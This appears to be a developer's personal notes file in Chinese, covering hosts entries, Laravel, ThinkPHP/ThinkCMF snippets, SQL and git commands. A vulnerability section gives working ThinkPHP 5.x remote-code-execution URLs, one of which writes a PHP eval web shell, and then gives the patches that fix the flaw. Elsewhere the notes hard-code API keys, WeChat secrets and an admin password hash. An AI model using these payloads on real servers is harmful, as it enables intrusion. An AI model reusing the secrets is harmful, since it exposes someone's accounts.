2024年11月

192.168.0.21 shenhe

127.0.0.1 aikai.hostadm.net
127.0.0.1 chuanming.test
127.0.0.1 cnshop2.3.hostadm.net
127.0.0.1 crmeb.test
127.0.0.1 duanju.test
127.0.0.1 duanju2.test
127.0.0.1 duanju3.test
127.0.0.1 gongruan.hostadm.net
127.0.0.1 hnshop.hostadm.net
127.0.0.1 hnshoptest.hostadm.net
127.0.0.1 hnweb506.hostadm.net
127.0.0.1 hnwebv509.hostadm.net
127.0.0.1 hnwebv510.hostadm.net
127.0.0.1 huliang.hostadm.net
127.0.0.1 jinhong.hostadm.net
127.0.0.1 jinyuan.hostadm.net
127.0.0.1 kaoshi.test
127.0.0.1 kefu.test
127.0.0.1 keyidakeji.test
127.0.0.1 mengxirui.hostadm.net
127.0.0.1 menpiao.hostadm.net
127.0.0.1 mingpu.hostadm.net
127.0.0.1 mytest.test
127.0.0.1 nuomi.hostadm.net
127.0.0.1 qdmall.hostadm.net
127.0.0.1 qdshop.hostadm.net
127.0.0.1 qdshopmall2018.hostadm.net
127.0.0.1 runzhong.hostadm.net
127.0.0.1 shidai.hostadm.net
127.0.0.1 shopming.hostadm.net
127.0.0.1 shopxo.test
127.0.0.1 shunyuan.hostadm.net
127.0.0.1 shunyuancn.hostadm.net
127.0.0.1 tangshi2.hostadm.net
127.0.0.1 test.test
127.0.0.1 thinkphp6.test
127.0.0.1 thinkphp51.test
127.0.0.1 wmshop.hostadm.net
127.0.0.1 wxbot.test
127.0.0.1 xclouds.test
127.0.0.1 xiaojingdong.test
127.0.0.1 xihui.hostadm.net
127.0.0.1 xuanmei.hostadm.net
127.0.0.1 yourphp.test
127.0.0.1 yueer.hostadm.net
127.0.0.1 zhibo.test
127.0.0.1 zhida.test
127.0.0.1 xunsheng.hostadm.net
127.0.0.1 hnwmqdshop50.hostadm.net

185.199.111.133 raw.githubusercontent.com

127.0.0.1 mingpuwaimao.hostadm.net
127.0.0.1 bbs.test
127.0.0.1 mingpuwm2.hostadm.net
127.0.0.1 poemshenzhen.test
127.0.0.1 mingpudianzi.hostadm.net
127.0.0.1 xinbosheng.hostadm.net
127.0.0.1 tianqi.hostadm.net
127.0.0.1 typecho.test
127.0.0.1 media.lchengming.cn
127.0.0.1 huishou.lchengming.cn

http://homestead.test/
cd C:\Users\Administrator\Homestead
vagrant up
vagrant ssh
vagrant halt

启动失败
C:\Users\Administrator\VirtualBox VMs\homestead-7
homestead-7.vbox

vagrant reload --provision 重新加载Homestead.yaml
vagrant destroy –force 销毁该

cd /etc/nginx/
cat nginx.conf
cd sites-enabled/
sudo cp homestead.test test.test
sudo vim test.test
sudo service nginx reload

composer install
php artisan key:generate
php artisan migrate:fresh
php artisan db:seed
php artisan tinker

中文镜像
composer config -g repo.packagist composer https://packagist.laravel-china.org
取消
composer config -g --unset repos.packagist

php artisan make:controller PhotoController --resource
Route::resource('photos', 'PhotoController');
单个行为控制器
php artisan make:controller ShowProfile --invokable

路由缓存
php artisan route:cache

request
$uri = $request->path();
$request->is('admin/*')
$request->url();
$request->fullUrl();
$request->method();
$request->isMethod('post');
$request->all();
$request->input('name');
$request->query('name');
$request->only(['username', 'password']);
$request->except(['credit_card']);
$request->has('name') //是否存在
$request->filled('name') //是否存在值并且不为空
$request->flash(); //将当前输入的数据存进 session 中
$request->flashOnly(['username', 'email']);
$request->flashExcept('password');
redirect('form')->withInput();//闪存输入后重定向
$request->old('username');
$request->file('photo');
$request->hasFile('photo')
$request->file('photo')->isValid()
$request->photo->path();
$request->photo->extension();
$path = $request->photo->store('images');
$path = $request->photo->store('images', 's3');
$path = $request->photo->storeAs('images', 'filename.jpg');
$path = $request->photo->storeAs('images', 'filename.jpg', 's3');

back 函数的路由使用 web 中间件组或所有 Session 中间件
back()->withInput();
redirect()->route('login'); //重定向至命名路由
redirect()->route('profile', ['id' => 1]);
redirect()->route('profile', [$user]);
redirect()->action('HomeController@index'); //重定向至控制器行为
return redirect()->action(

'UserController@profile', ['id' => 1]

);
redirect()->away('https://www.google.com'); //重定向到外部域
redirect('dashboard')->with('status', 'Profile updated!'); //重定向并使用闪存的 Session 数据
response()->view('hello', $data, 200)->header('Content-Type', $type); //视图响应
return response()->json([

'name' => 'Abigail',
'state' => 'CA'

]); ///JSON 响应
return response()

->json(['name' => 'Abigail', 'state' => 'CA'])
->withCallback($request->input('callback')); // JSONP 响应

response()->download($pathToFile, $name, $headers); //文件下载
return response()->streamDownload(function () {

echo GitHub::api('repo')
            ->contents()
            ->readme('laravel', 'laravel')['contents'];

}, 'laravel-readme.md');
response()->file($pathToFile, $headers);

判断视图文件是否存在
use Illuminate\Support\Facades\View;
if (View::exists('emails.customer')) {

//

}

服务注入
@inject('metrics', 'App\Services\MetricsService')

Monthly Revenue: {{ $metrics->monthlyRevenue() }}.

拓展 Blade
Blade::directive('datetime', function ($expression) {

return "<?php echo ($expression)->format('m/d/Y H:i'); ?>";

});
@datetime($var)

Blade::if('env', function ($environment) {

return app()->environment($environment);

});
@env('local')

// The application is in the local environment...

@else

// The application is not in the local environment...

@endenv

lang
echo __('I love programming.');
{{ __('messages.welcome') }}
@lang('messages.welcome')

Route::get($uri, $callback);
Route::post($uri, $callback);
Route::put($uri, $callback);
Route::patch($uri, $callback);
Route::delete($uri, $callback);
Route::options($uri, $callback);

Route::match(['get', 'post'], '/', function () {

//

});

Route::any('foo', function () {

//

});

重定向路由
Route::redirect('/here', '/there', 301);

全局约束
如果你希望某个具体的路由参数都遵循同一个正则表达式的约束,就使用 pattern 方法在 RouteServiceProvider 的 boot 方法中定义这些模式:
Route::pattern('id', '[0-9]+');

Route::get('user/{id}/profile', function ($id) {

return 'test'.$id;

})->name('profile');
Route::get('tester/{id?}',function($id=0){

return redirect()->route('profile',['id'=>$id]);

})->where('id', '[0-9]+');

入职
http://qiye40.sz2.hostadm.net/admin
thinkcmf5手册地址:

https://www.thinkcmf.com/docs/cmf
https://www.thinkcmf.com/docs/cmfx/

thinkphp5手册地址:

https://www.kancloud.cn/manual/thinkphp5/118003


查询方法:
$db->table('user')->limit(10)->order('id desc')->select();
相当于执行下面的sql语句,并返回二维数组。
SELECT * FROM user ORDER BY id desc LIMIT 10
$where['user_name'] = array('like','%ly%');
$where['credit'] = array('gt',100);
$db->table('user')->where($where)->limit(10)->select();
相当于执行下面的sql语句,并返回二维数组。
SELECT * FROM user WHERE ( user_name LIKE '%ly%' ) AND ( credit > 100 ) LIMIT 10
$where['credit'] = array(array('gt',100),array('eq',0),'or');
$db->table('user')->where($where)->limit(10)->select();
相当于执行下面的sql语句,并返回二维数组。
SELECT * FROM user WHERE ( (credit > 100) OR (credit = 0) ) LIMIT 10
$where['_string'] = 'credit>100 and credit<200';
$db->table('user')->where($where)->limit(10)->select();
相当于执行下面的sql语句,并返回二维数组。
SELECT * FROM user WHERE ( credit>100 and credit<200 ) LIMIT 10
$where['user_name'] = 'lyly';
$db->table('user')->field('credit')->where($where)->find();
相当于执行下面的sql语句,并返回一维数组。
SELECT credit FROM user WHERE ( user_name = 'lyly' ) LIMIT 0,1
$db->table('user')->where('id=2')->find();
相当于执行下面的sql语句,并返回一维数组。
SELECT * FROM user WHERE id=2 LIMIT 0,1
再来看看更新语句:
$where['user_name'] = 'lyly';
$data['credit'] = 100;
$db->table('user')->data($data)->where($where)->update();
相当于执行下面的sql语句,并返回影响行数。
UPDATE user SET credit=100 WHERE ( user_name = 'lyly' )
$where['credit'] = array('elt',100);
$data['credit'] = array('exp','credit+1');
$db->table('user')->data($data)->where($where)->update();
相当于执行下面的sql语句,并返回影响行数。
UPDATE user SET credit=credit+1 WHERE ( credit <= 100 )
再来看看新增语句:
$data['user_name'] = 'hoho';
$data['credit'] = 100;
$db->table('user')->data($data)->insert();
相当于执行下面的sql语句,并返回自增ID。
INSERT INTO user (user_name,credit) VALUES ('hoho',100)
最后看看删除语句:
$where['credit'] = 0;
$db->table('user')->where($where)->delete();
相当于执行下面的sql语句,并返回影响行数。
DELETE FROM user WHERE ( credit = 0 )

return $this->hasMany('DealerDeliveryInfo','dd_id','dd_id')->with(['goodsInfo'=>function(Query $query){

        $query->field(['goods_id','goods_sn','item_no','brand_id','brand_id as brand_name','sub_brand_id','sub_brand_id as sub_brand_name','specs','in_number']);
    }]);


常量
CMF_ROOT

$whereOr[]=['exp',Db::raw("FIND_IN_SET('$v',product_ids)")];

require_once CMF_ROOT.'simplewind/cmf/lib/aip-php-sdk-4.15.1/AipImageSearch.php';
$client = new \AipImageSearch('25061907', 'IRY23zwlwk7sqSNdY2b7qbbX', 'q4aXw4mDVMLYsbEQ4CohIusuIEHN1wUt');

旧版
多语言要修改上传路径
__PUBLIC__/Admin/Js/upload.js
server: '/upload.php',

添加管理员语句
INSERT INTO chuancai.hunuo_user (id, user_type, rec_user_id, agent_num, platform_no, channel_num, subsidiary_num, is_agent, open_account, source, grade_id, is_employee, sex, birthday, last_login_time, score, coin, create_time, user_status, user_login, user_pass, user_nickname, user_email, user_url, avatar, signature, last_login_ip, user_activation_key, mobile, more, province, city, district, address, login_times, open_account_type) VALUES ('1', '1', '0', '0', NULL, '', '', '0', '0', '', NULL, '0', '0', '0', '1587372037', '0', '0', '1512453568', '1', 'hunuokeji', '###3656dbb71ece7976b31002b06404d3aa', 'hunuokeji', '123@qq.com', '', '', '', '120.236.163.219', '', '', NULL, NULL, NULL, NULL, NULL, '0', '0');

INSERT INTO cmf_field_module ( name, fieldname) VALUES ('二级栏目标题(五)', 'introduction_five'),('二级栏目标题(六)', 'introduction_six'),('二级栏目标题(七)', 'introduction_seven'),('二级栏目标题(八)', 'introduction_eight'),('二级栏目标题(九)', 'introduction_nine'),('二级栏目详情(五)', 'content_five'),('二级栏目详情(六)', 'content_six'),('二级栏目详情(七)', 'content_seven'),('二级栏目详情(八)', 'content_eight'),('二级栏目详情(九)', 'content_nine');
ALTER TABLE cmf_goods ADD content_five TEXT NOT NULL COMMENT '二级栏目详情(五)';
ALTER TABLE cmf_goods ADD content_six TEXT NOT NULL COMMENT '二级栏目详情(六)';
ALTER TABLE cmf_goods ADD content_seven TEXT NOT NULL COMMENT '二级栏目详情(七)';
ALTER TABLE cmf_goods ADD content_eight TEXT NOT NULL COMMENT '二级栏目详情(八)';
ALTER TABLE cmf_goods ADD content_nine TEXT NOT NULL COMMENT '二级栏目详情(九)';
ALTER TABLE cmf_goods ADD introduction_five TEXT NOT NULL COMMENT '二级栏目标题(五)';
ALTER TABLE cmf_goods ADD introduction_six TEXT NOT NULL COMMENT '二级栏目标题(六)';
ALTER TABLE cmf_goods ADD introduction_seven TEXT NOT NULL COMMENT '二级栏目标题(七)';
ALTER TABLE cmf_goods ADD introduction_eight TEXT NOT NULL COMMENT '二级栏目标题(八)';
ALTER TABLE cmf_goods ADD introduction_nine TEXT NOT NULL COMMENT '二级栏目标题(九)';

{:date('Y-m-d H:i',$vo['create_time'])}

whereNull('t.openid')
->value('group_concat(title)');

发送邮件
cmf_send_email

Db::table('cmf_asset')
column();
fetchSql();
getLastSql();
select(false);

版本号查看 \simplewind\thinkphp\base.php

日志
ErrorLog /data/home/website/logs/error.log (错误日志)
CustomLog /data/home/website/logs/access.log common (网站日志)

更新版本thinkphp版本
simplewind\thinkphp 文件夹全部替换
app\config.php
第108行

    // 模板文件名规则改为之前的全小写规则
    'auto_rule'      => '2',

多语言图片上传
\static\js\admin.js
uploadOneImage方法的
$(input_selector + '-preview').attr('src', files[0].preview_url);
$(input_selector + '-preview').attr('src', '/english/'+files[0].preview_url);

多语言 附件共用根目录
\app\config.php

//上传目录
'upload_path'             => '../upload/',

\app\user\controller\AssetController.php
use think\Db;

\english\simplewind\cmf\lib\storage\Local.php

private function _getWebRoot()
{
    return cmf_get_domain() . cmf_get_root().'/..';

}

simplewind\vendor\topthink\think-captcha\src\helper.php
\think\Route::get('captcha/[:id]', "\think\captcha\CaptchaController@index");
改成
\think\Route::get('captcha/new', "\think\captcha\CaptchaController@index");

漏洞
https://www.thinkphp.cn/donate/download/id/1279.html 下载thinkphp_5.0.24版本

index.php?s=index/\think\app/invokefunction&function=assert&vars%5B0%5D=$%7B@print(eval(phpinfo().fputs(fopen('lx.php','w'),base64_decode('Q25sdVh1bjw/cGhwIEBldmFsKCRfUE9TVFsnbHgnXSk7Pz4='))))%7D
index.php?s=index/\think\app/invokefunction&function=assert&vars[0]=${@print(eval(phpinfo()))}

simplewind\thinkphp\library\think\App.php 这个文件386行加一下

    if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
        throw new HttpException(404, 'controller not exists:' . $controller);
    }

http://www.thinkphp.cn/topic/60992.html
\simplewind\thinkphp\library\think\Request.php
查找method方法
public function method($method = false)
{

if (true === $method) {
    // 获取原始请求类型
    return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
} elseif (!$this->method) {
    if (isset($_POST[Config::get('var_method')])) {
        $this->method = strtoupper($_POST[Config::get('var_method')]);
        $this->{$this->method}($_POST);
    } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
        $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
    } else {
        $this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
    }
}
return $this->method;

}
整个方法,替换成下面
public function method($method = false)
{

if (true === $method) {
    // 获取原始请求类型
    return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
    if (isset($_POST[Config::get('var_method')])) {
        $method = strtoupper($_POST[Config::get('var_method')]);
        if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
            $this->method = $method;
            $this->{$this->method}($_POST);
        } else {
            $this->method = 'POST';
        }
        unset($_POST[Config::get('var_method')]);
    } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
        $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
    } else {
        $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
    }
}
return $this->method;

}

图库缩小
\static\js\artDialog\skins\default.css
.aui_main { text-align:center; min-width:9em; min-width:0\9/IE8 BUG/; height: 380px !important}

Db::name('RoleUser')

->alias("a")
->join('__ROLE__ b', 'a.role_id =b.id')
->where(["user_id" => $result["id"], "status" => 1])
->value("role_id");

$where['create_time'] = [['>= time', $startTime], ['<= time', $endTime]];
$where['name'] = ['like', "%$keyword%"];

Db::name('recycleBin')->where($where)->order('create_time desc')->paginate(1,true)->appends($param);

$navMenuModel->allowField(true)->isUpdate(false)->save($arrData);

分页
$list->appends($param);
config('paginate',[

'type'      => '\cmf\paginator\Bootstrap2',
'var_page'  => 'page',
'list_rows' => 15,

]);
$portalPostModel = new BranchPostModel();
$articles = $portalPostModel

            -> alias('a')
            -> field($field)
            -> join($join)
            -> where($where)
            -> order($order)
            -> paginate(10,false,[
                'type'      => '\cmf\paginator\Bootstrap2',
                'var_page'  => 'page',
                'list_rows' => 15,
            ]);
            
        ->paginate(20,false,['query'=>request()->param()]);





TMPL

<page/>








active

$banner_slide_id = empty($theme_vars['banner_slide']) ? 1 : $theme_vars['banner_slide'];


<notempty name="vo.url"><a href="{$vo.url}"></notempty>
    <div style="background-image: url({:cmf_get_image_url($vo['image'])})"></div>
<notempty name="vo.url"></a></notempty>


<div style="background-image: url('__TMPL__/public/assets/images/banner.jpg')"></div>

<goods:subCategories categoryId="$cat_id" item="vo">

<a <if condition="$cat_id eq $vo['id']">class="on"</if> href="{:cmf_url('goods/list/index',array('id'=>$vo['id']))}">{$vo.name}</a>

</goods:subCategories>

$cat_id = $cat_id==113?130:$cat_id;
$where=[
    'delete_time'=>['eq',0]
];


<portal:articles where='$where' limit="9" order="category_post.list_order DESC , published_time DESC" relation="categories" categoryIds="$cat_id" page="9">
//var_dump($vo.category_id)

<li>
<a href="{:Url('portal/Article/index',array('id'=>$vo.id,'cid'=>$vo.category_id))}" class="block">
    <div class="new-img"><img src="{:cmf_get_image_preview_url($vo.more.thumbnail)}" alt="{$vo.post_title}" width="100%" /></div>
    <div class="clearfix new-desc">
        <p class="new-p m-text fl">{$vo.post_title}{:date('d',$vo.published_time)}{$vo.msg|msubstr=###,0,30}</p>
        <i class="iconfont icon-jiantou new-i fr"></i>
    </div>
</a>
</li>

</portal:articles>


$child = \think\Db::Query("SELECT * FROM cmf_goods_category WHERE parent_id=144 ORDER BY list_order asc");

$news_slide_id = empty($theme_vars['news_slide']) ? 0 : $theme_vars['news_slide'];
if( !empty($news_slide_id) ){
    $news = \app\admin\service\ApiService::slides($news_slide_id);
}


<div class="<if condition='$mod eq 0'>picleft<else />picright</if> animated transPic" data-time="{$i}00">
    <img src="{:cmf_get_image_url($vo['image'])}">

    <empty name='vo.url'>
        <a href="javascript:update();">
    <else />
        <a href="{$vo.url}" target="_blank">
    </empty>
        <div class="text">
            <div class="tag">{$vo.description}</div>
            <div class="cTag">{$vo.title}</div>
            <div class="article">{$vo.content|htmlspecialchars_decode|stripslashes}</div>
        </div>
    </a>
</div>

{$c.description|htmlspecialchars_decode|stripslashes}

自定义错误页面
需要关闭调试,然后
data\conf\config.php
'http_exception_template' => [

    // 定义404错误的重定向页面地址
    404 =>  APP_PATH . '../err.html',
    500 =>  APP_PATH . '../err.html',
],


ueditor
添加模板
\ueditor\dialogs\template\config.js
var templates = [

{
    "pre":"pre0.png",
    'title':lang.blank,
    'preHtml':'<p class="ue_t">&nbsp;欢迎使用UEditor!</p>',

'html':'

'

},

语言包
\ueditor\lang\zh-cn\zh-cn.js

高德地图
\themes\admin_simpleboot3\admin\dialog\map.html
test目录下thinkcmf/map.html

微信分享
use Overtrue\Wechat\Js;
$jssdk=new Js('wx6aac036a2b6c329c','a5dea546d9d915707daf4c20fa5aecd9');
$data=$jssdk->getSignaturePackage();
print_r($data);
exit;

use Overtrue\Wechat\Server;
$jssdk=new Js('wx6aac036a2b6c329c','a5dea546d9d915707daf4c20fa5aecd9');
$data=$jssdk->getSignaturePackage();
print_r($data);
exit;

登陆状态

<if condition="cmf_get_current_user()">

查看、添加、提交、删除、找回,重置修改文件
git help # 显示command的help
git show # 显示某次提交的内容 git show $id
git co -- # 抛弃工作区修改
git co . # 抛弃工作区修改
git add # 将工作文件修改提交到本地暂存区
git add . # 将所有修改过的工作文件提交暂存区
git rm # 从版本库中删除文件
git rm --cached # 从版本库中删除文件,但不删除文件
git reset # 从暂存区恢复到工作文件
git reset -- . # 从暂存区恢复到工作文件
git reset --hard # 恢复最近一次提交过的状态,即放弃上次提交后的所有本次修改
git ci git ci . git ci -a # 将git add, git rm和git ci等操作都合并在一起做                                    git ci -am "some comments"
git ci --amend # 修改最后一次提交记录
git revert <$id> # 恢复某次提交的状态,恢复动作本身也创建次提交对象
git revert HEAD # 恢复最后一次提交的状态
查看文件diff
git diff # 比较当前文件和暂存区文件差异 git diff
git diff <
id2> # 比较两次提交之间的差异
git diff .. # 在两个分支之间比较
git diff --staged # 比较暂存区和版本库差异
git diff --cached # 比较暂存区和版本库差异
git diff --stat # 仅仅比较统计信息
查看提交记录
git log git log # 查看该文件每次提交记录
git log -p # 查看每次详细修改内容的diff
git log -p -2 # 查看最近两次详细修改内容的diff
git log --stat #查看提交统计信息
tig
Mac上可以使用tig代替diff和log,brew install tig
Git 本地分支管理
查看、切换、创建和删除分支
git br -r # 查看远程分支
git br <new_branch> # 创建新的分支
git br -v # 查看各个分支最后提交信息
git br --merged # 查看已经被合并到当前分支的分支
git br --no-merged # 查看尚未被合并到当前分支的分支
git co # 切换到某个分支
git co -b <new_branch> # 创建新的分支,并且切换过去
git co -b <new_branch> # 基于branch创建新的new_branch
git co $id # 把某次历史提交记录checkout出来,但无分支信息,切换到其他分支会自动删除
git co $id -b <new_branch> # 把某次历史提交记录checkout出来,创建成一个分支
git br -d # 删除某个分支
git br -D # 强制删除某个分支 (未被合并的分支被删除的时候需要强制)
分支合并和rebase
git merge # 将branch分支合并到当前分支
git merge origin/master --no-ff # 不要Fast-Foward合并,这样可以生成merge提交
git rebase master # 将master rebase到branch,相当于: git co && git rebase master && git co master && git merge
Git补丁管理(方便在多台机器上开发同步时用)
git diff > ../sync.patch # 生成补丁
git apply ../sync.patch # 打补丁
git apply --check ../sync.patch #测试补丁能否成功
Git暂存管理
git stash # 暂存
git stash list # 列所有stash
git stash apply # 恢复暂存的内容
git stash drop # 删除暂存区
Git远程分支管理
git pull # 抓取远程仓库所有分支更新并合并到本地
git pull --no-ff # 抓取远程仓库所有分支更新并合并到本地,不要快进合并
git fetch origin # 抓取远程仓库更新
git merge origin/master # 将远程主分支合并到本地当前分支
git co --track origin/branch # 跟踪某个远程分支创建相应的本地分支
git co -b <local_branch> origin/<remote_branch> # 基于远程分支创建本地分支,功能同上
git push # push所有分支
git push origin master # 将本地主分支推到远程主分支
git push -u origin master # 将本地主分支推到远程(如无远程主分支则创建,用于初始化远程仓库)
git push origin <local_branch> # 创建远程分支, origin是远程仓库名
git push origin <local_branch>:<remote_branch> # 创建远程分支
git push origin :<remote_branch> #先删除本地分支(git br -d ),然后再push删除远程分支
Git远程仓库管理
GitHub
git remote -v # 查看远程服务器地址和仓库名称
git remote show origin # 查看远程服务器仓库状态
git remote add origin git@ github:robbin/robbin_site.git # 添加远程仓库地址
git remote set-url origin git@ github.com:robbin/robbin_site.git # 设置远程仓库地址(用于修改远程仓库地址) git remote rm # 删除远程仓库
创建远程仓库
git clone --bare robbin_site robbin_site.git # 用带版本的项目创建纯版本仓库
scp -r my_project.git git@ git.csdn.net:~ # 将纯仓库上传到服务器上
mkdir robbin_site.git && cd robbin_site.git && git --bare init # 在服务器创建纯仓库
git remote add origin git@ github.com:robbin/robbin_site.git # 设置远程仓库地址
git push -u origin master # 客户端首次提交
git push -u origin develop # 首次将本地develop分支提交到远程develop分支,并且track
git remote set-head origin master # 设置远程仓库的HEAD指向master分支
也可以命令设置跟踪远程库和本地库
git branch --set-upstream master origin/master
git branch --set-upstream develop origin/develop

一 、
设置Git的user name和email:
$ git config --global user.name "吕成铭"
$ git config --global user.email "lvchengming@hunuo.com"
二、生成SSH密钥过程:
C:\Users\Administrator.ssh
1.查看是否已经有了ssh密钥:cd ~/.ssh
如果没有密钥则不会有此文件夹,有则备份删除
2.生存密钥:

$ ssh-keygen -t rsa -C "lvchengming@hunuo.com"
按3个回车,密码为空。
Your identification has been saved in /home/tekkub/.ssh/id_rsa.
Your public key has been saved in /home/tekkub/.ssh/id_rsa.pub.
The key fingerprint is:
………………

最后得到了两个文件:id_rsa和id_rsa.pub
3.添加密钥到ssh: ssh-add ~/.ssh/id_rsa
如果报错执行ssh-agent bash; 再执行ssh-add ~/.ssh/id_rsa
需要之前输入密码。
4.在github上添加ssh密钥,这要添加的是“id_rsa.pub”里面的公钥。
打开https://github.com/ ,登陆xuhaiyan825,然后添加ssh。

git init
git remote add origin xxx.git

onclick='js_aup_more({aaa:"1",bbb:"2"});'

/**

  • 追加多个地址参数(参数不存在则追加,参数存在则修改)
  • 参数params_values {参数名:参数值,参数名:参数值}
    @ps 此函数默认使用的url模式为普通模式,在支持pathinfo url地址模式的框架时,请填写上第三个参数'/'
    @ps2 2014/5/26 增加有子目录的pathinfo地址的支持(制作英文版可以会用到),第四个参数为子目录,如:"/en"
    @例如 js_aup('p','3','/','/en');
    */

function js_aup_more(params_values){

if(!params_values || typeof(params_values)!== "object"){
    return false;
}
var delimter = arguments[2] || '&';
var subcatalog = arguments[3] || '';
var just_return = arguments[4] || false;
var location_search = arguments[5] || location.search;
var newurl = '';
if(delimter == '/'){ //pathinfo模式
    var query_string = location.pathname.replace(subcatalog,'');
    var arr = query_string.split('/');
    var paremters_obj = {};
    for(var i=4; i<arr.length; i+=2){
        paremters_obj[arr[i]] = arr[i+1];
    }
    for(var key in params_values)
    {
        if(params_values[key] === null || params_values[key]===''){
            delete(paremters_obj[key]);
        }else{
            paremters_obj[key] = params_values[key];
        }
    }
    for(var key in paremters_obj){
        newurl += key + '/' + paremters_obj[key] + '/';
    }
    newurl = subcatalog + '/' + arr[1] + '/' + arr[2] + '/' + arr[3] + '/' +newurl.substr(0,newurl.length-1);
}else{ //普通模式
    var paramters = location_search.getQuery();
    if(paramters==false){
        var n_url='';
        for(var key in params_values)
        {
            if(params_values[key] !== null && params_values[key]){
                n_url +=n_url?'&'+newurl+key+'='+params_values[key]:newurl+key+'='+params_values[key];
            }
        }
        if(n_url){
            newurl = '?'+n_url;
        }
    }else{
        for(var key in params_values)
        {
            if(params_values[key] === null || params_values[key]===''){
                delete(paramters[key]);
            }else{
                paramters[key] = params_values[key];
            }
        }
        for(var key in paramters){
            newurl += key + '=' + paramters[key] + '&';
        }
        newurl = '?' + newurl.substr(0,newurl.length-1);
    }
}

if(newurl=='?'){
    newurl = document.url || location.href;
    newurl = newurl.replace(location.search,'');
}
if(just_return){
    return newurl;
}else{
    location.href = newurl;
}

}